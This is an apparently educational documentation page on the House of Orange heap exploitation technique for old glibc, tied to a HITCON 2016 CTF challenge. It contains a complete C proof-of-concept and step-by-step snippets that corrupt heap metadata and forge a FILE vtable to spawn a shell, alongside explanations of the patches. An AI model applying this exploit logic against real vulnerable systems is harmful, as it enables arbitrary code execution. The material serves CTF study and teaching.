Skip to main content

Overview

The House of Orange is a legendary heap exploitation technique that achieves arbitrary code execution by corrupting the _IO_list_all pointer and exploiting the FILE structure mechanism. This technique is notable for achieving code execution without ever calling free(), making it powerful in constrained environments.
Patch Status: This technique was patched in glibc 2.26 when malloc_printerr was changed to no longer call _IO_flush_all_lockp.

Glibc Version Compatibility

VersionStatusNotes
glibc < 2.24✅ WorkingOriginal technique works
glibc 2.24-2.25⚠️ Mitigatedvtable whitelist check added
glibc >= 2.26❌ Patchedmalloc_printerr no longer flushes FILE
Latest❌ PatchedUse House of Tangerine or House of Apple
Critical Patches:
Ret2 Wargames Practice: Try this technique hands-on at House of Orange Interactive Challenge

What This Technique Achieves

The House of Orange enables:
  • Code execution without free(): Exploit purely through malloc() calls
  • FILE structure exploitation: Hijack the FILE vtable mechanism
  • Abort() exploitation: Turn a crash into code execution
  • Unsorted bin manipulation: Force the old top chunk into unsorted bin

Prerequisites and Constraints

This technique requires:
  1. Heap leak: Must know heap addresses to corrupt pointers
  2. Libc leak: Must know libc addresses for _IO_list_all and system()
  3. Top chunk overflow: Ability to corrupt the top chunk’s size field
  4. Allocation control: Ability to trigger specific malloc sizes
  5. Glibc < 2.26: Technique is patched in newer versions
  6. Glibc < 2.24: For original technique (or vtable bypass for 2.24-2.25)

How It Works

1

Corrupt top chunk size

Overflow into the top chunk and set its size to a value that satisfies page alignment but is smaller than a large allocation.
char *p1 = malloc(0x400 - 16);
size_t *top = (size_t *)((char *)p1 + 0x400 - 16);
top[1] = 0xc01;  // New top size: page aligned + PREV_INUSE
2

Trigger sysmalloc and _int_free

Allocate a chunk larger than the corrupted top chunk size. This forces sysmalloc to mmap new memory and free the old top chunk.
char *p2 = malloc(0x1000);
// Old top chunk is now freed into unsorted bin!
3

Corrupt the freed top chunk

Use overflow to corrupt the old top chunk’s fd and bk pointers, and set its size.
// Calculate _IO_list_all address from heap leak
io_list_all = top[2] + 0x9a8;

// Set bk to _IO_list_all - 0x10
top[3] = io_list_all - 0x10;

// Set size to 0x61 for smallbin[4]
top[1] = 0x61;
4

Create fake FILE structure

Set up a fake FILE structure in the old top chunk with proper fields.
FILE *fp = (FILE *)top;

// Write "/bin/sh" at the start
memcpy((char *)top, "/bin/sh\x00", 8);

// Set FILE structure fields
fp->_mode = 0;                      // mode <= 0
fp->_IO_write_base = (char *)2;     // write_base < write_ptr
fp->_IO_write_ptr = (char *)3;

// Set vtable pointer
size_t *jump_table = &top[12];
jump_table[3] = (size_t)&winner;    // _IO_OVERFLOW offset
*(size_t *)((size_t)fp + sizeof(FILE)) = (size_t)jump_table;
5

Trigger malloc error and abort

Make a small allocation that triggers bin sorting and causes a size check to fail, calling abort().
malloc(10);  // Triggers the exploit chain!

Complete Source Code

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
  It requires a leak of the heap and the libc
  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

int winner ( char *ptr);

int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;

    fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
        "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
  
    fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
        "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

    // Allocate a chunk
    p1 = malloc(0x400-16);

    // Corrupt the top chunk size
    // The top chunk size must be page aligned and PREV_INUSE must be set
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;

    // Allocate a chunk larger than the corrupted top chunk size
    // This forces sysmalloc and frees the old top chunk
    p2 = malloc(0x1000);

    // Calculate _IO_list_all address (from heap leak + known offset)
    io_list_all = top[2] + 0x9a8;

    // Corrupt the old top chunk's bk pointer
    // When malloc tries to sort the chunk, it will overwrite _IO_list_all
    top[3] = io_list_all - 0x10;

    // Write /bin/sh at the start of our fake FILE structure
    memcpy( ( char *) top, "/bin/sh\x00", 8);

    // Set the size to 0x61 so it goes to smallbin[4]
    top[1] = 0x61;

    // Set up the fake FILE structure
    FILE *fp = (FILE *) top;

    // Set mode to 0: fp->_mode <= 0
    fp->_mode = 0;

    // Set write_base and write_ptr: fp->_IO_write_ptr > fp->_IO_write_base
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;

    // Set jump table pointer and _IO_OVERFLOW entry
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table;

    // Trigger the exploit
    malloc(10);

    return 0;
}

int winner(char *ptr)
{ 
    system(ptr);
    syscall(SYS_exit, 0);
    return 0;
}

Technical Deep Dive

Phase 1: Freeing the Top Chunk

The top chunk is normally never freed, but we can force it:
  1. Corrupt top chunk size to be smaller than available space
  2. Allocate large chunk (> corrupted size)
  3. sysmalloc() is called to get more memory
  4. Old top chunk doesn’t merge with new memory
  5. _int_free() is called on old top chunk
// Simplified from sysmalloc() in malloc.c
if (old_top != 0 && old_size != 0) {
    // Old top can't be merged with new memory
    _int_free(av, old_top, 1);
}

Phase 2: Corrupting _IO_list_all

When malloc sorts the unsorted bin:
// Simplified from malloc.c
bck = victim->bk;
fwd = bck->fd;
// This writes main_arena address:
bck->fd = fwd;  // *(_IO_list_all - 0x10 + 0x10) = main_arena
By setting victim->bk = _IO_list_all - 0x10, we write a main_arena pointer to _IO_list_all.

Phase 3: Fake FILE Structure

The _IO_FILE structure must pass several checks:
// From _IO_flush_all_lockp in libio/genops.c
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
     || (fp->_mode > 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
    && _IO_OVERFLOW(fp, EOF) == EOF)
    result = EOF;
We need:
  1. fp->_mode <= 0
  2. fp->_IO_write_ptr > fp->_IO_write_base
  3. Valid vtable pointer
  4. _IO_OVERFLOW points to our function

Phase 4: The Exploit Chain

malloc(10)
  → sorts unsorted bin into smallbin[4]
  → finds size mismatch (0x61 in field but main_arena size is larger)
  → calls malloc_printerr()
  → calls abort()
  → calls _IO_flush_all_lockp()
  → iterates _IO_list_all (now points to main_arena)
  → main_arena + 0x68 is smallbin[4] (our fake FILE)
  → calls _IO_OVERFLOW(fake_file, EOF)
  → calls winner("/bin/sh")
  → system("/bin/sh")

Why Size 0x61?

The size 0x61 (97 bytes) is chosen because:
  • It’s in the smallbin range
  • It goes to smallbin[4]
  • smallbin[4] is at offset +0x68 from main_arena
  • This offset becomes the fake FILE’s fd pointer in _IO_list_all traversal

CTF Challenge

Challenge: Orange management system with heap overflow but no free()Vulnerability:
  • Heap overflow via orange description field
  • No free() function available
  • Had to exploit purely through malloc()
Exploitation Steps:
  1. Leaked heap address via overlapping chunks
  2. Leaked libc address via unsorted bin pointers
  3. Corrupted top chunk size to 0xc01
  4. Allocated large chunk to free old top
  5. Corrupted old top chunk’s bk to _IO_list_all - 0x10
  6. Set up fake FILE structure with system() address
  7. Triggered abort() via small allocation
  8. Got shell when system(“/bin/sh”) was called
Writeup: Hitcon 2016 House of Orange WriteupHistorical Significance: This challenge introduced the technique and gave it its name.

Common Pitfalls

Top Chunk Size Validation: The top chunk size must be page aligned (LSBs = 0x001) and have PREV_INUSE set. Use 0xc01, 0x1c01, etc.
FILE Structure Alignment: The fake FILE structure must be properly aligned. Using size 0x61 ensures it lands in smallbin[4] at the right offset.
Missing Leaks: You need both heap and libc leaks. Without them, you can’t calculate _IO_list_all or system() addresses.
vtable Validation: On glibc 2.24+, vtables are validated against a whitelist. The technique requires a vtable bypass or doesn’t work.

The Patches

Patch 1: vtable Validation (glibc 2.24)

// From libio/vtables.c
if (__vtable_check_debug && !_IO_vtable_check(vtable))
    _IO_vtable_check_fail();
This validates that vtable pointers are in the proper libc regions.

Patch 2: malloc_printerr (glibc 2.26)

// Before: malloc_printerr called abort() which flushed FILE structures
// After: malloc_printerr directly terminates without FILE flush
void malloc_printerr(const char *str) {
    __libc_message(do_abort, "%s\n", str);
}

Modern Alternatives

House of Tangerine

Modern technique for glibc 2.26+ using sysmalloc _int_free

House of Apple

Advanced FILE structure exploitation for modern glibc

House of Kiwi

Alternative FILE-based technique for code execution

Learning Resources

See Also

Build docs developers (and LLMs) love